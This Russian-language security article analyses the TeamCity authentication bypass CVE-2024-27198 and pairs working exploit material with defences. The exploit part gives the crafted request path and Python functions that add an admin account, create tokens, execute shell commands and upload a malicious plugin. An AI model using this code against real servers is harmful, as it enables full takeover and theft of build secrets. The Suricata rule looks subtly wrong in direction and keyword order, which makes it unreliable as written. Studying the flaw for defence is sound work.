Уязвимость системы непрерывной интеграции и доставки приложений (CI/CD) JetBrains TeamCity
Уязвимость системы непрерывной интеграции и доставки приложений (CI/CD) JetBrains TeamCity
Категория: Программы Теги: Уязвимости Опубликовано: 9 июня 2025

Уязвимость BDU:2024-01792 (CVE-2024-27198) JetBrains TeamCity

Уязвимость BDU:2024-01792 (CVE-2024-27198) представляет собой критическую уязвимость обхода аутентификации в системе непрерывной интеграции и доставки (CI/CD) JetBrains TeamCity. Уязвимость позволяет удаленному злоумышленнику выполнять произвольный код с повышенными привилегиями без аутентификации.

Анализ уязвимости

Уровень опасности: 9.8 CRITICAL
Вектор атаки: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

  • AV:N (Вектор атаки: Сетевой) - Атака возможна через сеть

  • AC:L (Сложность атаки: Низкая) - Не требует специальных условий

  • PR:N (Необходимость привилегий: Не требуются)

  • UI:N (Вовлечение пользователя: Не требуется)

  • S:U (Область воздействия: Не изменяется)

  • C:H (Конфиденциальность: Полная компрометация)

  • I:H (Целостность: Полная компрометация)

  • A:H (Доступность: Полная компрометация)

Условия эксплуатации

Для успешной эксплуатации уязвимости необходимо:

  1. Доступ к веб-интерфейсу TeamCity через сеть

  2. Версия TeamCity ниже 2023.11.4

  3. Отсутствие дополнительных средств защиты (WAF, IPS)

  4. Стандартная конфигурация сервера

Технический механизм уязвимости

Уязвимость CVE-2024-27198 возникает из-за некорректной обработки URL-путей, позволяющей обойти аутентификацию через альтернативные пути доступа. Злоумышленник может отправлять специально сформированные запросы к API без проверки подлинности:

GET /hax?jsp=/app/rest/server;.jsp HTTP/1.1
Host: target:8111

Ключевая проблема - обработка параметра jsp, который интерпретируется сервером как внутренний путь, минуя проверки аутентификации.

Анализ эксплоитов

Рассмотрим код эксплоитов для понимания векторов атаки.

1. Создание администратора (Python)

Основной этап атаки - создание пользователя с правами SYSTEM_ADMIN:

def AddUser(target, username, password, domain):
    add_user_url = target + "/hax?jsp=/app/rest/users;.jsp"
    add_user_data = {
        "username": f"{username}",
        "password": f"{password}",
        "email": f"{username}@{domain}",
        "roles": {"role": [{"roleId": "SYSTEM_ADMIN", "scope": "g"}]}
    }
    response = session.post(add_user_url, json=add_user_data)
    return response

2. Генерация токена доступа

После создания пользователя генерируется токен для доступа к API:

def GetToken(target, user_id):
    exploit_url = target + f"/hax?jsp=/app/rest/users/id:{user_id}/tokens/{token_name};.jsp"
    response = session.post(exploit_url)
    root = ET.fromstring(response.text)
    return root.attrib.get("value")

3. Выполнение произвольных команд

Эксплоиты используют два основных метода RCE:

Через отладочный эндпоинт:

def ExecuteCommandByDebugEndpoint(target, os_version, command, token):
    if os_version == "linux":
        url = target + f"/app/rest/debug/processes?exePath=/bin/sh&params=-c&params={quote_plus(command)}"
    else:
        url = target + f"/app/rest/debug/processes?exePath=cmd.exe&params=/c&params={quote_plus(command)}"
    response = session.post(url, headers={"Authorization": f"Bearer {token}"})

Через загрузку вредоносного плагина:

def UploadEvilPlugin(target, plugin_name, token):
    files = {
        "fileName": (None, f"{plugin_name}.zip"),
        "file:fileToUpload": (f"{plugin_name}.zip", open(f"{plugin_name}.zip", "rb"))
    }
    session.post(f"{target}/admin/pluginUpload.html", files=files)

Последствия успешной эксплуатации

  1. Полный контроль над сервером TeamCity: выполнение произвольных команд

  2. Кража секретов сборки: доступ к credentials, токенам, SSH-ключам

  3. Компрометация цепочки поставок: модификация артефактов сборки

  4. Атаки на внутренние системы: использование сервера как плацдарма

  5. Кража исходного кода: доступ к репозиториям проектов

Защитные меры

1. Обновление системы

Немедленное обновление до версии TeamCity 2023.11.4 или новее.

2. Сегментация сети

  • Ограничение доступа к TeamCity только с доверенных IP-адресов

  • Размещение сервера в изолированном сетевом сегменте

3. Правила IPS

Для Suricata/NGFW:

alert http $HOME_NET any -> $EXTERNAL_NET any ( \
  msg:"CVE-2024-27198 TeamCity Auth Bypass Attempt"; \
  flow:established,to_server; \
  content:"/hax?jsp="; \
  content:"/app/rest/"; \
  http.uri; \
  classtype:web-application-attack; \
  sid:202401792; \
  rev:1; \
)

4. Дополнительные меры безопасности

  • Регулярный аудит пользователей и токенов

  • Многофакторная аутентификация для администраторов

  • Мониторинг подозрительных действий:

    grep -E '(POST /hax\?jsp=|/app/rest/debug/processes)' teamcity-access.log

5. Харденинг сервера

В internal.properties:

rest.debug.processes.enable=false
teamcity.auth.allowTokenCreation=false

Заключение

BDU:2024-01792 (CVE-2024-27198) представляет критическую угрозу для CI/CD-инфраструктур. Эксплуатация уязвимости позволяет полный компромисс сервера TeamCity без аутентификации. Обновление до 2023.11.4 - обязательная мера, дополненная сетевыми контролями и мониторингом. Регулярный аудит безопасности CI/CD-систем должен быть неотъемлемой частью DevOps-процессов.

Алексей Черемных Алексей Черемных
29